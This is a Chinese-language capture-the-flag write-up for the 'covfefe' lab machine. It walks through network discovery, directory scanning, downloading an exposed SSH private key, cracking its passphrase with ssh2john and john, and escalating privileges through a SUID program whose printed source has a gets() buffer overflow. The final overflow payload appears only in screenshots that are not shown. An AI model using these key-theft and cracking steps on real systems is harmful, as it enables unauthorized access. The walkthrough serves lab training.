CTF 私钥泄漏 writeup

工具

私钥泄漏靶机
kali linux虚拟机

操作步骤

第一步:先使用ip探测,探测网段中有哪些计算机在使用。探测方法是"netdiscover -r ip/netmask"
在这里插入图片描述
在这里插入图片描述
192.168.2.142是我们的靶机。

第二步:找出靶机ip地址后,我们使用nmap来探测它的开放服务。
在这里插入图片描述
我们发现有3个端口是开放的,这时我们再去查看服务中有没有隐藏信息。

第三步:打开Firefox,在网址栏中输入http://ip:port可以查看服务中有没有隐藏的一些文件。
显示结果如下:
在这里插入图片描述
我们发现这种方法找不到隐藏文件。这时我们使用另一种方法。
shell中输入"dirb http://192.168.2.142:31337"

在这里插入图片描述
我们扫描出了5个文件,我们发现里面有一个robots.txt文件,这个文件是robots协议的文本文件,是搜索引擎中访问网站的时候要查看的第一个文件。robots.txt文件告诉蜘蛛程序在服务器上什么文件是可以被查看的。
拓展:robots协议

我们在Firefox中输入网址"http://192.168.2.142:31337/robots.txt"来查看可访问的文件。
如图:
在这里插入图片描述
我们进入"/taxes"文件,如图:
在这里插入图片描述
我们找到了第一个flag,检测过以上三个文件没有任何想要的信息。所以我们再进入"./ssh"查找
如图:
在这里插入图片描述
我们发现这是rsa的密钥,我们把’id_rsa’和’authorized_keys’下载下来(不需要下载公钥)。

我们把下载好的两个文件发到桌面上以便操作。
在这里插入图片描述
我们查看一下authorized_keys文件

cat authorized_keys

在这里插入图片描述
我们发现用户名为simon

第四步,开始进行ssh连接。

ssh -i id_rsa simon@192.168.2.142

结果如图:
在这里插入图片描述
这说明我们的id_rsa文件权限有问题,我们开始为id_rsa文件提权。

chmod 600 id_rsa

拓展:Linux chmod命令 菜鸟教程

chmod abc file

其中a,b,c各为一个数字,分别表示User、Group、及Other的权限。

r=4,w=2,x=1
若要rwx属性则4+2+1=7;
若要rw-属性则4+2=6;
若要r-x属性则4+1=5。

我们再次进行ssh连接:
在这里插入图片描述
这次显示需要密码,所以我们需要进一步来破解密码。

第五步,我们使用kali中的ssh2john工具来破解ssh密码。

python /usr/share/john/ssh2john.py id_rsa > fuckyou

结果如下:
在这里插入图片描述
我们查看该文件:

在这里插入图片描述
ssh2john的作用就是把私钥转换为john可以识别的信息。

第六步,使用密码字典对私钥进行破解。

zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules fuckyou

zcat是压缩包解压命令
|是管道命令,上一个命令的输出会作为下一个命令的输入。
john命令使用john --help查看即可

操作结果如下:
在这里插入图片描述
我们得知密码为“starwars”,我们再次ssh一下,结果如下:
在这里插入图片描述
我们成功进入了靶机。

接下来我们查看一下绝对路径

simon@covfefe:~$ pwd
/home/simon

进入/root目录
查看当前文件:

simon@covfefe:~$ cd /root
simon@covfefe:/root$ ls
flag.txt  read_message.c
simon@covfefe:/root$ ls -l
total 8
-rw------- 1 root root  75 Jul  9  2017 flag.txt
-rw-r--r-- 1 root root 767 Jul  9  2017 read_message.c

我们发现了flag,但是flag文件没有只读属性,但是read_message.c拥有只读属性。所以我们查看一下该文件:

simon@covfefe:/root$ cat read_message.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>   //调用execve()函数的头文件

// You're getting close! Here's another flag:
// flag2{use_the_source_luke}

int main(int argc, char *argv[]) {
    char program[] = "/usr/local/sbin/message";
    char buf[20];
    char authorized[] = "Simon";

    printf("What is your name?\n");
    gets(buf);

    // Only compare first five chars to save precious cycles:
    if (!strncmp(authorized, buf, 5)) {
        printf("Hello %s! Here is your message:\n\n", buf);
        // This is safe as the user can't mess with the binary location:
        execve(program, NULL, NULL);
    } else {
        printf("Sorry %s, you're not %s! The Internet Police have been informed of this violation.\n", buf, authorized);
        exit(EXIT_FAILURE);
    }

}

我们发现了第二个flag。
接下来我们开始进行代码审计,该代码的功能是输入一个名字来和Simon进行对比,若对比成功则执行execve()函数。
我们发现buf[20]可以被溢出,我们可以通过溢出来达到访问root权限目录,达到溢出提权的目的。

我们先查找具有root权限的文件

simon@covfefe:/root$ find / -perm -4000 2>/dev/null
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/local/bin/read_message
/bin/umount
/bin/su
/bin/mount
/bin/ping

拓展:在Linux中根据文件属性或权限进行find查找

我们发现read_message具有root权限

第七步,运行read_meassage.c进行溢出提权
在这里插入图片描述
进入root,查看flag
如图:

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值